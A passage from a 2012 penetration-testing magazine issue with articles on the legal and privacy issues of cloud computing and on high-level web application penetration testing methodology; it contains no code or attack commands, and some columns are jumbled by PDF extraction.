know I am able to. Or, if I find an XSS vulnerability,
I will not try to implement an actual attack because
although I may fail, I know another more senior hacker
can. The most important aspect of investigating
vulnerabilities and their level of importance is to record
how to reproduce the flaw and assess it by listing the
potential risks.
Conclusion
Our overall goal of penetration testing is to reduce
vulnerability-associated risks in a limited time. Just like
in black-box functional testing, we need to find the most
important defects as soon as possible. Only security
defects have different characteristics and therefore,
require a different approach. Similar to black-box testing
where models are useful for test case design to optimize
the testing process, security penetration testing requires
a similar modeling approach. The objective of this
article is to present a modeling framework for executing
a security penetration testing project with stringent time
constraints. With this model, it is possible to achieve the
most ‘bang for the buck’ in phases 1 and 2 and still, at
any moment during the test execution, you can stop and
say, we have done our best at this point in time.

Vulnerability Investigation-Stop Criteria

When you are sure you or someone could break the
system and have ascertained that the vulnerability

About XBOSoft
XBOSoft is an international �rm specializing in software
quality assurance with branch offices in the USA, Europe and
China. With a proven record of success working for Fortune
500 companies and specialized ISVs, XBOSoft has gained
broad domain expertise with extended experience in �nance ALAN CAO
and healthcare. Alan Cao is a Project Manager at XBOSoft, where he works
Our commitment to software quality improvement is on software security assurance and testing projects. Alan
implemented through practical quality assurance processes holds a master’s degree in Software Engineering from Peking
combined with deep technical expertise.
University and is also a MCITP and ITIL Certi�cated.

THE BEST OF 01/2012 Page 170 http://pentestmag.com

 WEB APP PENTESTING

Cloud Computing
– Legal Issues
Cloud computing involves the sharing or storage by users of their
own information on remote servers owned or operated by others and
accessed through the Internet or other connections. Cloud computing
services exist in many variations, including data storage sites,
video sites, tax preparation sites, personal health record websites,
photography websites, social networking sites, and many more.

C
loud computing has significant implications for
the privacy of personal information as well as for
the confidentiality of business and governmental
information. While the storage of user data on remote
servers is not new, current emphasis on and expansion of
cloud computing warrants a more careful look at its actual
and potential privacy and confidentiality consequences.
For some information and for some business users,
sharing may be illegal, may be limited in some ways,
or may affect the status or protections of the information
shared. Even when no laws or obligations block the ability
of a user to disclose information to a cloud provider,
disclosure may still not be free of consequences.
When users store their data with programs hosted on
someone else’s hardware, they lose a degree of control
over their sensitive information. The responsibility for
protecting that information from hackers and internal
data breaches then falls into the hands of the hosting
company rather than the individual user. Government
investigators trying to subpoena information could
approach that company without informing the data’s
owners. Some companies could even willingly share
sensitive data with marketing firms. So there is a
privacy risk in putting your data in someone else’s
hands. Obviously, the safest approach is to maintain
your data under your own control.
The concept of handing sensitive data to another
company worries many people. Is data held somewhere
in the cloud as secure as data protected in user-
controlled computers and networks? Privacy and
security can only be as good as its weakest link. Cloud
computing increases the risk that a security breach may
occur.
One of the problems with cloud computing is that
technology is frequently light years ahead of the law.
There are many questions that need to be answered.
Does the user or the hosting company own the data?
Can the host deny a user access to their own data? If
the host company goes out of business, what happens
to the users’ data it holds? And, most importantly from a
privacy standpoint, how does the host protect the user’s
data? So we carefully analyze the various laws and
policies that the host has to abide by and also carefully
look to analyze certain aspects of the license and end
user agreements that help share liability and empower
government agencies to still access certain kind of
information without breaking the privacy laws.
Introduction
Cloud computing can be called as a natural evolution
of the widespread adoption of virtualization, service-
oriented architecture, autonomic and utility computing.
Details are abstracted from end-users, who no
longer have need for expertise in, or control over, the
technology infrastructure in the cloud that supports
them [Wikipedia].

THE BEST OF 01/2012 Page 172 http://pentestmag.com

 Cloud computing is a term describing both application
and platform. A cloud computing platform dynamically
provisions, configures, reconfigures, and deprovisions
servers as needed. Servers in the cloud can be physical
machines or virtual machines [IBM Cloud Computing]. Advanced
cloud systems usually include storage area networks
(SANs), network equipment, firewall and other security
devices.
Cloud computing also describes applications that are
extended to be accessible through the Internet. These
cloud applications use large data centers and powerful
servers that host Web applications and Web services.
Anyone with a suitable Internet connection and a
standard browser can access a cloud application.
Definition
The U.S. National Institute of Standards and
Technology (NIST) has developed a widely accepted
definition: Cloud computing is a model for enabling
ubiquitous, convenient, on-demand network access
to a shared pool of configurable computing resources
(e.g., networks, servers, storage, applications, and
services) that can be rapidly provisioned and released
with minimal management effort or service provider
interaction. This cloud model is composed of five
essential characteristics, three service models, and four
deployment models.
Essential Characteristics
• On-demand self-service
• Broad network access (mobile, laptop, PDA)
• Resource pooling
• Rapid elasticity
• Measured service (metering / pay as you go)
Clouds can deliver services via three models
• Software as a Service: The consumer runs a
specific computer application, but does not control
the infrastructure that runs the application.
A popular example is Google Docs, to create and
store remotely documents using Google’s software.
• Platform as a Service: The consumer creates and
delivers new electronic applications but does not
control the cloud’s infrastructure.
One prominent example is Microsoft Azure,
allowing users to construct, distribute and modify
applications.
• Infrastructure as a Service: The consumer uses
provides services as could be accomplished by
buying new hardware. The consumer controls
applications, operating systems, storage and some
THE BEST OF 01/2012
network features like firewalls but not the general
cloud infrastructure.
For example, a clothing store needs additional
computing power for its website during the holiday
shopping season.
Security Issues
The tremendous amount of data available in the cloud
makes them a target for hackers and cyber criminals
as well as of various government agencies for national
security or law enforcement purposes. Though Clouds
share some of the security risks with other distributed
and networked systems, the sheer size of the clouds
greatly magnifies the risk these problems pose. Some
of them are as follows:
• Potential Personnel Vulnerabilities
• Data Loss
• Third Party Programming
• Difficulty of Determining Responsibility for Security
Breaches
Other more common security issues that customers
should raise with vendors before selecting a cloud
vendor are: – (the following passage has been taken
from the Gartner Security Report)
• Privileged user access
• Regulatory compliance
• Data location
• Data segregation
• Recovery
• Investigative support
• Long-term viability
Legal Issues
Transborder Data Flow and Legal Obligations in
Multiple Jurisdictions
The sharing of data within the cloud and the inability to
specifically identify and trace the exact location of the
data can cause jurisdictional, policy and legal issues. For
example under the EU Data Protection Directive, unless
certain steps are taken, organizations are prohibited
from transferring personally identifiable information to
countries that do not provide the same level of protection.
Hence an organization may have to specifically request
a cloud provider to limit its data storage to certain areas.
(E.g. Amazon CS2 asks the user if they want to be part of
the European cloud or both or the one in USA.
Reasonable Security Under the Law
Reasonable Security in the cloud computing, and
potential liability arising out of security breaches in
Page 173 http://pentestmag.com
 WEB APP PENTESTING
the cloud create legal issues which are very difficult to
handle. Generally speaking if a company outsources the
handling of personal information to another company
they may have some responsibility to make sure the
outsourcer has some level of reasonable security to
protect personal and confidential information. But
Service providers using the cloud platform essentially
rely on the security of each of the cloud participants
receiving personal information. The legal question is
what liability does a company face when there has been
a security breach in the cloud that has resulted in the
theft or harm of valuable or protected data?
We are so much surrounded by legal & regulatory
requirements like SOX, SAS 70, HIPAA, PCI DSS,
ISO 27001, Reasonable Security Practices U/IT
Act, 2000 (India) etc. Depending upon the nature of
business and kind of data being handled, different
legal & regulatory compliance requirements are
applicable. In Cloud Computing scenario it becomes
imperative that the service provider should meet
the legal & regulatory requirement on behalf of
the customers. So if a Cloud Computing service
provider is a servicing a client in Health Care sector
then it should take care of HIPAA requirements.
Similarly service provider providing Cloud Computing
services to Credit Card Company should take care
of the PCI DSS requirements. If you are handling
Sensitive Personal data or Information under the
IT (Reasonable Security Practices and Procedures
and Sensitive Personal data or Information) Rules,
2011(India) then you need to take Reasonable
Security Practices and Procedures mentioned under
the said rules. It ensures the customers that in spite
of using the Cloud Computing services their legal &
regulatory requirements are being met.
Following issues needs to be addressed in cloud-legal
environment
• Customers / clients should have a very good
understanding of the legal & regulatory requirements
applicable to their business.
• Customers should ensure that their legal &
regulatory requirements are being fulfilled even in
the Cloud Computing scenario.
• Service provider should also have a clear
understanding of the legal & regulatory requirements
of their clients before offering their services.
• Service provider should make necessary provisions
to ensure that the legal & regulatory requirements
of their clients are being met.
• Customers should have transparency into the
certifications & processes being followed by
THE BEST OF 01/2012 Page 174
the service providers to ensure that the legal &
regulatory requirements are met.
Implications
Not meeting the legal & regulatory requirements
could lead to legal actions causing loss of business,
public trust, financial penalties and imprisonment as
applicable.
Acquisition of Digital evidence/e-discovery
Utilizing the cloud can be problematic in the litigation
context. Litigation ensues and a litigation hold is initiated,
the organization will have to deal with a third party cloud
provider in order to get case relevant information. In
certain cases the investigation takes place months after
the crime has been committed, in that case it may not
be easy for that provider to actually preserve the data
that is needed for several reasons.
Interception/Encryption
Most of the countries have laws relating to interception of
data. Government can, in the interest of the sovereignty
or integrity of the country, for defense purposes, to
maintain public order or during pendency of a law suit
require companies to access the user data. On the
security front, encryption levels may differ from country
to country. For example, India allows data encryption
only upto 40 bits though the world is considering
encryption beyond 256 bits. Hence, standard of
decryption would also need to be considered.
Cloud computing and the judiciary
Ultimately this is the big question. Can the law wrap its
head around cloud computing and can the evidence
collected from the court be admissible in the court of
law and be used to incriminate someone. Also areas
to explore are contractual arrangements. Contracting
may be much more difficult in the cloud environment
than outsourcing, because the players may not be in a
position to make certain promises and additional duties/
obligations may destroy the cheap pricing model for
cloud computing. [Info-Sec Compliance]
Storm Clouds
In this section we look to identify the threats that the
cloud environment faces from hackers, improper laws
and policies, Government agencies and information
warfare.
U.S. Laws Criminalizing Harmful Activity in the Cloud
The laws and policies set by the government are just
a patch work. There are only a few laws that regulate
this method of storing and sharing information.
http://pentestmag.com
Although various states have their own laws to deal
with computer crimes, the foremost important law
regulating cloud computing in the USA is the federal
Computer Fraud & Abuse Act (CFAA). While this
law was not designed to govern cloud computing
but intended for other kinds of criminal activity on
computers, several of its provisions can be applied to
computing tasks such as storing and processing large
amounts of data. At that time, very few Americans had e-
mail accounts, and those who did typically downloaded
email from a server onto their hard drives, and email
was automatically and regularly overwritten by service
providers grappling with storage constraints.[J. Beckwith Burr, the
Electronic Communications Privacy Act of 1986: Principles for Reform]

harmful activity on the cloud. The part of ECPA that covers searches and
seizures on an electronic network is called the Stored
The Computer Fraud & Abuse Act Communications Act (SCA). According to the SCA,
Today, the Computer Fraud and Abuse Act (CFAA) there are two types of network providers:
is one of the principal tools for Combating computer
crime. The CFAA also can be applied to the cloud in Remote computing service (RCS)
the sense that the Act covers protected computers, An RCS is defined as the provision to the public of
which are defined as any computer system used in computer storage or processing services by means of
or affecting interstate or foreign commerce, as well electronic communication service.[18 U.S.C. § 2510(15)]
as any computer system of the federal government
or a financial institution. This can also be made to Electronic communication service (ECS)
include any computer or digital devise connected to the An ECS is any service which provides to users
Internet, even if it is located outside the United States. thereof the ability to send or receive wire or
Thus, servers anywhere in the world that host cloud electronic communications. Electronic storage is any
computing services or resources can be protected by temporary, intermediate storage of a wire or electronic
the Act. communication incidental to the electronic transmission
In addition, several provisions of the CFAA can be thereof, and any storage of such communication by
used to punish harmful activity in the cloud: Table 1. an [ECS] for purposes of backup protection of such
communication.
The Electronic Communications Privacy Act In terms of electronic storage, what is undisputedly
Passed in 1986, the Electronic Communications Privacy included are communications held by a service provider
Act (ECPA) sought to bring the constitutional and and not yet retrieved by a subscriber, such as an
statutory protections against wiretapping of telephonic unopened email.
communications into the computer age.[ECPA] ECPA was
written at a time when network computing was used for Cloud vs. Privacy
two primary purposes. First, network account holders Cloud computing has significant implications for
would use third-party network service providers to send the privacy of personal information as well as for
and receive communications, having the providers hold the confidentiality of business and governmental
the messages until delivery to the user’s computer. information. While storage of user data on remote
Second, account holders used third-parties to outsource servers is not a new activity, the current emphasis
Table 1. CFAA
No Section Description
1 Section 1030(a)(1) Prohibits obtaining or transmitting national security information from a computer.
2 Section 1030(a)(2) Prohibits intentionally gaining unauthorized access and obtaining information from a Computer
3 Section 1030(a)(3) Prohibits trespassing in a nonpublic government Computer
4 Section 1030(a)(4) Prohibits using one’s unauthorized access to a protected computer in order to defraud and thereby
obtain something of value
5 Section 1030(a)(5) Prohibits gaining unauthorized access and causing damage to a protected computer. This can include a
broad range of activities, such as: hacking into databases to delete or alter records; transmitting viruses
or worms that may delete �les, crash computers, or install malicious software; or �ooding a computer’s
Internet connection with junk data, preventing legitimate users from sending or receiving anything with
that computer
6 Section 1030(a)(6) Prohibits trafficking in passwords or similar information that could be used to gain unauthorized access
to a protected computer.
7 Section 1030(a)(7) Prohibits threatening to cause damage to a protected computer with the intent to extort.

THE BEST OF 01/2012 Page 175 http://pentestmag.com

 WEB APP PENTESTING
on and expansion of cloud computing warrants a
more careful look at the privacy and confidentiality
consequences. A user’s privacy and confidentiality
risks vary significantly with the terms of service and
privacy policy established by the cloud provider. Those
risks may be magnified when the cloud provider has
reserved the right to change its terms and policies
at will. The secondary use of a cloud computing
user’s information by the cloud provider may violate
laws under which the information was collected
or are otherwise applicable to the original user. A
cloud provider will also acquire transactional and
relationship information that may itself be revealing or
commercially valuable.
For some types of information and some categories
of cloud computing users, privacy and confidentiality
rights, obligations, and status may change when a user
discloses information to a cloud provider. Procedural
or substantive barriers may prevent or limit the
disclosure of some records to third parties, including
cloud computing providers. For example, health record
privacy laws may require a formal agreement before
any sharing of records is lawful. Other privacy laws may
flatly prohibit personal information sharing by some
corporate or institutional users. Disclosure and remote
storage may have adverse consequences for the
legal status of or protections for personal or business
information. For example, a trade secret shared with a
cloud provider may lose some of its legal protections.
When a person stores information with a third party
(including a cloud computing provider), the information
may have fewer or weaker privacy protections than
when the information remains only in the possession of
the person. Government agencies and private litigants
may be able to obtain information from a third party
more easily than from the original owner or creator of
the content. A cloud provider might even be compelled
to scan or search user records to look for fugitives,
missing children, copyright violations, and other
information of interest to government or private parties.
Remote storage may additionally undermine security or
audit requirements.
The location of information in the cloud may have
significant effects on the privacy and confidentiality
protections of information and on the privacy obligations
of those who process or store the information. Any
information stored in the cloud eventually ends up on
a physical machine owned by a particular company
or person located in a specific country. That stored
information may be subject to the laws of the country
where the physical machine is located. For example,
personal information that ends up maintained by a
cloud provider in a European Union Member State
THE BEST OF 01/2012 Page 176
could be subject permanently to European Union
privacy laws. Information in the cloud may have more
than one legal location at the same time, with differing
legal consequences. A cloud provider may, without
notice to a user, move the user’s information from
jurisdiction to jurisdiction, from provider to provider,
or from machine to machine. The legal location of
information placed in a cloud could be one or more
places of business of the cloud provider, the location
of the computer on which the information is stored,
the location of a communication that transmits the
information from user to provider and from provider
to user, a location where the user has communicated
or could communicate with the provider, and possibly
other locations.
Laws could oblige a cloud provider to examine
user records for evidence of criminal activity and
other matters. Some jurisdictions in the United States
require computer technicians to report to police or
prosecutors evidence of child pornography that they
find when repairing or otherwise servicing computers.
To the extent that cloud computing places a diverse
collection of user and business information in a single
location, it may be tempting for governments to ask or
require cloud providers to report on particular types of
criminal or offensive behavior or to monitor activities
of particular types of users (e.g. convicted sex
offenders). Other possibilities include searching for
missing children and for music or software copyright
violations. Legal uncertainties make it difficult to
assess the status of information in the cloud as
well as the privacy and confidentiality protections
available to users. The law badly trails technology,
and the application of old law to new technology can
be unpredictable. For example, current laws that
protect electronic communications may or may not
apply to cloud computing communications or they
may apply differently to different aspects of cloud
computing.
Responses to the privacy and confidentiality risks of
cloud Computing include better policies and practices
by cloud providers, changes to laws, and more
vigilance by users. If the cloud computing industry
would adopt better and clearer policies and practices,
users would be better able to assess the privacy and
confidentiality risks they face. Users might avoid cloud
computing for some classes of information and might
be able to select a service that meets their privacy
and confidentiality needs for other categories of
information. For those risks that cannot be addressed
by changes in policies and practices, changes in laws
may be appropriate. Each user of a cloud provider
should pay more – and indeed, close – attention to
http://pentestmag.com
the consequences of using a cloud provider and,
especially, to the provider’s terms of service.

Privacy Laws
Every sector has specific laws that deal with the data
they collect store and access. There are federal laws like
Gramm-Leach-Bliley (applicable to financial institutions),
HIPAA (applicable to health care providers and others
dealing with health information and related entities),
COPPA (applicable to data of children under 13 collected
online), and the USA Patriot Act (may be applicable to
foreign companies that work with cloud providers that
allow data to reside in or flow through the US).
By contrast, the European Union has a much more
comprehensive privacy law framework, the EU Data
Protection Directive. Each member state also has its
own unique law implementing the Directive. The most
notable thing about the EU Directive and member state
laws for purposes of cloud computing is this – in the
absence of specific compliance mechanisms, the EU
prohibits (yes, you read correctly, prohibits) the transfer
of personal information of EU residents out of the EU
to the US and the vast majority of countries around the
world. This means if you want to put data in the cloud
that includes personal information of EU residents (and
that might be something as simple as an email address
or employment information), and the data will flow from
the EU to almost anywhere in the world, you cannot
simply throw the data in the cloud and hope for the
best. You need to have, at a minimum International Safe
Harbor Certification, a model contracts which allow data
transfer from the EU to non-EU countries, (but do not
always work well with multi-tiered vendor relationships)
or Binding Corporate Rules which are designed for a
multinational company and therefore may not function
well for cloud provider relationships.

Incidents of Privacy breach in cloud

• The FBI’s Magic Lantern / Computer and Internet

Protocol Address Verifier (CIPAV)
• Mobile Phones as Roving Bugs
• In-Car Navigation Systems
• D. TorrentSpy
• Hushmail
• Skype in China

Silver Lining
However there is a hope and looking forward there
are certain suggestions I would like to make in order
to make clouds safer (secure), more private and better
governed.

THE BEST OF 01/2012

 WEB APP PENTESTING
Self Regulatory Initiatives
These initiatives are to be taken by the cloud providers
themselves like, Data export & portability, where there
can be easy portability and exporting of data, backup
can be easily taken. Transparency in Geographic
location of data is also paramount so that the users
know where their data resides and they can make an
informed decision as to what kind of data to be stored
on the cloud. Transparency and choice for usage of
secondary data (targeted advertising, customized
searches) along with Improved User Education and
Awareness are key policies that need to be installed.
Amendments to the Law
ECPA Reforms, Data on the cloud should be brought
under the ambit of the Fourth amendment. Cloud
Computing Advancement Act, Compensation for victims
increased penalties for hacking and malicious acts in
CFAA. Enforce log and data collection by cloud service
providers.
Bilateral and unified treaties, Unified Data privacy and
protection treaties Exchange of investigative information
in case of multinational cyber crimes.
Conclusion
The long dreamed vision of computing as a utility is
finally emerging. The elasticity of a utility matches
the need of businesses providing services directly to
customers over the Internet, as workloads can grow
(and shrink) far faster than 20 years ago. It used to take
years to grow a business to several million customers –
now it can happen in months. From the cloud provider’s
view, the construction of very large datacenters at low
cost sites using commodity computing, storage, and
networking uncovered the possibility of selling those
resources on a pay-as-you-go model below the costs
of many medium-sized datacenters, while making a
profit by statistically multiplexing among a large group
of customers. From the cloud user’s view, it would be
as startling for a new software startup to build its own
datacenter as it would for a hardware startup to build
its own fabrication line. In addition to startups, many
other established organizations take advantage of
the elasticity of Cloud Computing regularly, including
newspapers like the Washington Post, movie companies
like Pixar, and universities like ours.
Cloud computing is here to stay, yet the journey may
take the model through some stormy waters. The concept
will undoubtedly alleviate many issues for countless
users, yet it will inevitably attract the unscrupulous
like sharks to a feeding frenzy. How vendors deal
with this and who they involve in the process will have
significant impact on how those unscrupulous vultures
THE BEST OF 01/2012 Page 178
are repelled. The cloud model will continue to offer
users state-of-the-art applications and infrastructures at
affordable prices, with the level of support that can rival
in-house IT services. Vendors will inevitably come and
go and it will be imperative that users establish effective
SLA’s to ensure any of the vulnerabilities highlighted
do not have a detrimental effect on their business or
way of life in adverse situations. Hackers will continue
to exploit the openness and ambiguity in the cloud
and the vulnerabilities will surface in time, as they
have done with all new technological milestones and
it will be testament to those charged with dealing with
those vulnerabilities that will ensure the effects are not
catastrophic. Information warfare is a real time threats
to the clouds, and it is upon the cloud service providers
to provide the first line of defense. Lawmakers and
law enforcement agencies are stepping up to the task
and rapidly catching up to the diverse and technically
challenging scenario of the cloud. Ultimately it’s upon
business and the end users to be aware of the risks
and demand better security and policy support to their
applications and data.
ABHIJEET PARANDEKAR
SAGAR RAHURKAR
Sagar Rahurkar is a Law graduate
and a Certi�ed Fraud Examiner. He is
a Senior Consultant at Asian School
of Cyber Laws. He specializes in
Cyber Laws, Fraud Investigation and
Intellectual Property Law related issues.
He teaches various law enforcement
people, students and international delegates on Cyber
legal related issues. He is also a member of ASCL Computer
Emergency Response Team. He regularly provides
consultancy to Corporates, Law Enforcement and Media.
He has presented his papers at various conferences like,
CyberAttack, NULLCON, c0c0n, International Seminar on
Cyber Laws organised by Delhi University, etc. He is a regular
contributor to various IT-Sec magazines, where he writes on
IT Law related issues. Sagar Rahurkar can be contacted at
contact@sagarrahurkar.com.
http://pentestmag.com
 WEB APP PENTESTING
Web
Application Security and Penetration Testing
In the recent years, web applications have grown dramatically
within many organizations and businesses where such entities
became very independent on such technology as part of their
businesses’ lifecycle.
D
ynamic web applications usually use
technologies such as ASP, ASP.Net, PHP,
Ajax, JSP, Perl, Cold Fusion, Flash, and etc.
These applications expose financial data, customer
information, and other sensitive and confidential
data that required authentication and authorization.
Ensuring that the web applications are secure is a
critical mission that businesses have to go through to
achieve the desired security level of such applications.
With the accessibility of such critical data to the public
domain, web application security testing also becomes
paramount process for all the web applications that are
exposed to the outside world.
Introduction
Penetration testing (It is also called Pen Testing) is
usually conducted by ethical hackers where the security
team reviews application security vulnerabilities to
discover potential security risks. Such process requires
a deep knowledge, experience in a variety of different
tools, and a range of exploits that can achieve the
required tasks.
During the pen testing different web applications’
vulnerabilities are tested (e.g. Input Validation, Buffer
Overflow, Cross Site Scripting, URL Manipulation,
SQL Injection, Cookie Modification, Bypassing
Authentication, and Code Execution). A typical pen
testing involves the following procedures:
THE BEST OF 01/2012 Page 180
• Identification of Ports – In this process, ports are
scanned, and the associated services running are
identified.
• Software Services Analyzed – In this process, both
automated, and manual testing is conducted to
discover weaknesses.
• Verification of Vulnerabilities – This process helps
verify that the vulnerabilities are real, where
weakness might be exploited to help remediate the
issues.
• Remediation of Vulnerabilities – In this process,
the vulnerabilities will be resolved and such
vulnerabilities will be re-tested to ensure they have
been addressed.
Part of the initiative of securing the web applications is
to include the security development lifecycle as part of
the software development lifecycle where the number
of security-related design and coding defects can be
reduced, and also the severity of any defects that
do remain undetected can be reduced or eliminated.
Despite the fact that the above initiatives solve some
of the security problems, some of undiscovered
defects will remain even in the most scrutinized web
applications. Until scanners can harness true artificial
intelligence, and put the anomalies into context or
make normative judgments about them, the struggle to
find certain vulnerabilities will exist.
http://pentestmag.com
Automated Scanning vs. Manual Penetration
Testing
A vulnerabilities assessment simply identifies and
reports vulnerabilities; whereas a pen testing attempts � �������������������
to exploit vulnerabilities to determine whether
unauthorized access to other malicious activities is
possible. By performing a pen testing to simulate an
attack, it’s possible to evaluate whether an application
has any potential vulnerabilities resulting from poor or
improper system configuration, hardware or software
flaws, or weaknesses in the perimeter defences
protecting the application.
With more than 75% of the attacks occurring
over the HTTP/S protocols, and more than 90% of
web applications containing some type of security
vulnerability, it is essential that organizations implement
strong measures to secure their web applications.
Most of these attacks occur on the front door of the
organization where the entire online community has an
access to these doors (i.e. port 80 and port 443). With
the complexity and the tremendous amount of sensitive
data exist within web applications, consumers not only
expect, but also demand security for this information.
That said; securing a web application goes far
beyond testing the application using automated
systems and tools or by using manual processes. The
security implementation begins in the conceptual phase
where the modeling of the security risk is introduced
by the application, and the countermeasures that
are required to be implemented. It is imperative that
the web application security should be thought of as
����������������������
another quality vector of every application that has to
be considered through every step of the application ����������������������
lifecycle. �����������������������������
Discovering web application vulnerabilities can be
performed through different processes:

• Automation process – where scanning tools or

static analysis tools will be used.
• Manual process – where penetration testing or
code review will be used. � ���������������������
Web application vulnerability types can be grouped ������
into two categories: �������������������������� ����������������
�������������������������� �������������������������
�������������� ������������������������������
Technical Vulnerabilities �������������� ����������������������������
Where such vulnerabilities can be examined through ������������������������������� ���������������������������������
the following tests: Cross-Site-Scripting, Injection ����������������������� ���������������������
Flaws and Buffer Overflow. Automated systems and ����������� �������������������������
����������������� ������������������
tools which analyze and test the web applications ��������������������������� ���������������������������
are much better equipped to test for technical �������������������� ���������������������������������
vulnerabilities than the manual penetration tests. While
automated testing and scanning tools may not be able ��������������������������

�������������������������������������������������������������������������
THE BEST OF 01/2012 �����������������������������������������

to address 100% of all the technical vulnerabilities,
there is no reason to believe that such tools will
achieve such goal in the near future. Current problems
facing the web application tools are the following:
client-side generated URLs, required JavaScript
functions, application logout, transaction-based
systems requiring specific user paths, automated form
submission, one time passwords, and Infinite web
sites with random URL-based session IDs.
Logical Vulnerabilities
Where such vulnerabilities can manipulate the logic of
the application to do tasks that were never intended
to be done. While both an automated scanning tool
and skilled penetration tester can navigate through a
web application, only the latter is able to understand
what the logic behind specific workflow or how the
application works in general. Understanding the logic
and the flow of an application allows the manual pen
testing to subvert or overthrow the business logic
where security vulnerabilities can be exposed. For
instance, an application might direct the user from
point A to point B to Point C based on the logic flow
implemented within the application, where point B
represents a security validation check. A manual
review of the application might show that it is possible
for attackers to manipulate the web application to go
directly from point A to point C, and bypassing the
security validation exists at point B.
�������������
��������������������
����������������
��������������
��������������������������
�����������������
�����������������������
��������
����������� �������� ����������
����������������
Figure 1. The different activities of the Pen Testing processes
THE BEST OF 01/2012
WEB APP PENTESTING
History has proven that software bugs, defects and
logical flaws are consistently the primary cause of
commonly exploited application software vulnerabilities,
where it can lead to unauthorized access to the
systems, networks and application information. It is
also proven that most of the security breaches occur
due to vulnerabilities within the web application layer
(i.e. attacks using the HTTP/HTTPS protocol). In such
attacks, traditional security mechanism such as firewalls
and IDS provide little or no protection against attacks on
the web applications.
Security analyses review the critical components of
a web-based portal, e-commerce application, or web
services platform. Part of the analyses work that can be
done is to identify vulnerabilities inherent in the code of
the web application itself regardless of the technology
implemented, back-end database or web server used
by the application.
It’s imperative to point out that the web application
penetration assessments should be designed based
upon defined threat-model. It should also be based upon
the evaluation of the integration between components
(e.g. third party components and in-house built
components) and the overall deployment configuration
that represents a solid choice for establishing a
baseline security assessment. Application penetration
assessments server as a cost-effective mechanism to
identify a set of vulnerabilities in a given application
where it exposes the most likely exploit vulnerabilities,
��������������������������
��������������
������������������
��������
��������������
Page 182 http://pentestmag.com
and allow to find similar instances of vulnerabilities
throughout the code.
How Web Application Pen Testing Works?
Most of the web applications’ penetration testing is
carried out from security operations centers where
the access to the resources under test will be
remotely over the Internet using different penetration
technologies. At the end of such test, the application
penetration test provides a comprehensive security
assessment for various types of applications (e.g.
commercial enterprise web applications, internally
developed applications, web-based portal, and e-
commerce application). Figure-1 describes some of
the activities that usually happen during the pen testing
process. Some of the testing processes that are used
to achieve the security vulnerabilities assessment
such as Application Spidering, Authentication Testing,
Session Management Testing, Data Validation
Testing, Web Service Testing, Ajax Testing, Business
Logic Testing, Risk Assessment, and Reporting.
In conducting the web penetration testing, different
approaches can be used to achieve the security
vulnerabilities assessment, some of these approaches
are:
• Zero-Knowledge Test (Black Box) – In such ap-
proach, the application security testing team will
not have any of inside information about the target
Figure 2. The different phases of the Pen Testing
THE BEST OF 01/2012 Page 183
environment, and the expected knowledge gain will
be based on information that can be found out in
the public domain. This type of test is designed to
provide the most realistic penetration test possible
since in many cases attackers start with no real
knowledge of the target systems.
• Partial Knowledge Test (Gray Box) – In such ap-
proach a partial gain of knowledge about the
environment under testing will be achieved before
conducting the test.
• Source Code Analysis (White Box) – In such
ap-proach the penetration test team has fill
information about the application and its source
code. In such test the security team will do a code
review (line-by-line) in attempt to find any flaws
that could allow attackers to take control of the
application, perform a denial of service attack
against it, or use such flaws to gain access to the
internal network.
It’s also important to point out that penetration testing
can be achieved through two different types of testing:
• External Penetration Testing
• Internal Penetration Testing
Both types of testing can be conducted with least
information (black box) and also can be conducted
with limited information (white box).
http://pentestmag.com
 WEB APP PENTESTING
Figure-3 shows different procedures and steps that
can be used to conduct the penetration testing. The
following are the description of these steps:
• Scope and Plan – In this step, the scope of the
penetration testing is identified, and the project plan
and resources will be defined.
• System Scan and Probe – In this step, the system
scanning under the defined scope of the project
will be conducted where the automated scanners
will examine the open ports, scanning the system
to detect vulnerabilities, and hostnames, and IP
addresses previously collected will be used at this
stage.
• Creating of Attack Strategies – In this step, the
testers prioritize the systems and the attack
methods will be used based on the type of the
system, and how critical these systems. Also,
in this stage the penetration testing tools will be
selected based on the vulnerabilities detected from
the previous phase.
• Penetration Testing – In this step, the exploitation
of vulnerabilities using the automated tools will be
conducted where the attacking methods designed
in the previous phase will be used to conduct
the following tests: data & service pilferage test,
buffer overflow, privilege escalation, and denial of
services (if applicable).
• Documentation – In this step, all the vulnerabilities
discovered during the test are documented,
evidence of exploitation and penetration testing
findings are also recommended to be presented
later within the final report.
• Improvement – The final step of the penetration
testing is to provide the corrective actions on
Figure 3. Testing techniques, procedures and steps
THE BEST OF 01/2012 Page 184
closing the discovered vulnerabilities within the
systems and the web applications.
Web Applications Testing Tools
Through the Pen testing, a specific structure
methodology has to be followed where the following
steps might be used: Enumeration, Vulnerabilities
Assessment and Exploitation. Some of the tools that
might be used within these steps are:
• Port Scanners
• Sniffers
• Proxy Servers
• Site Crawlers
• Manual Inspection
The output from the above tools will allow the security
team to gather information about the environment such
as: Open ports, Services, Versions, and Operating
Systems. The vulnerabilities assessment utilizes the
data gathered in the previous step to uncover potential
vulnerabilities in the web server(s), application
server (s), database server (s) and any intermediary
devices such as firewalls and load-balancers. It’s
also important for the security team not to rely solely
on the tools during the assessment phase to discover
vulnerabilities, manual inspection for items such as
HTTP responses, hidden fields, and HTML page
sources should be part of the security assessment as
well.
Some of the areas that can be covered during the
vulnerabilities assessment are the following:
• Input validation
• Access Control
http://pentestmag.com
• Authentication and Session Management (Session
ID flaws) Vulnerabilities
• Cross Site Scripting (XSS) Vulnerabilities
• Buffer Overflows
• Injection Flaws
• Error Handling
• Insecure Storage
• Denial of Service (if required)
• Configuration Management
• Business logic flaws
• SQL Injection faults
• Cookie manipulation and poising
• Privilege escalation
• Command injection
• Client side and header manipulation
• Unintended information disclosure
During the assessment, testing the above vulnerabilities
is performed except those that could cause a Denial of
Service conditions, and usually discussed beforehand.
Possible options of Denial of Service testing include
testing during a specific time, testing a development
system or manually verifying the condition that
may be responsible for the vulnerability. Once the
vulnerabilities assessment is complete, the final reports,
recommendations and comments are summarized, and
better solutions are suggested for the implementation
process. Once the above assessments are done,
the penetration test is half-way done, and the most
important part of the assessment has to be delivered
which is the informative report that’s highlights all the
risks found during the penetration phase.
The following are some of the commonly used tools
for traditional penetration testing:
Port Scanners
Such tools are used to gather information about which
network services are available for connection on each
target host. The port scanning tools usually examines
or questions each of the designated network ports or
service on the target system. Most of these tools are able
to scan both TCP as well as UDP ports. Another common
feature of port scanners is their ability to examine the
operating system type, and its version number since
protocol such as TCP/IP implementation can vary in
their specific responses. The configuration flexibility in
the port scanners serve examining the different port
configuration, as well as employ the ability to hide from
the network intrusion detection mechanisms.
Vulnerability Scanners
While port scanners only produce an inventory of the
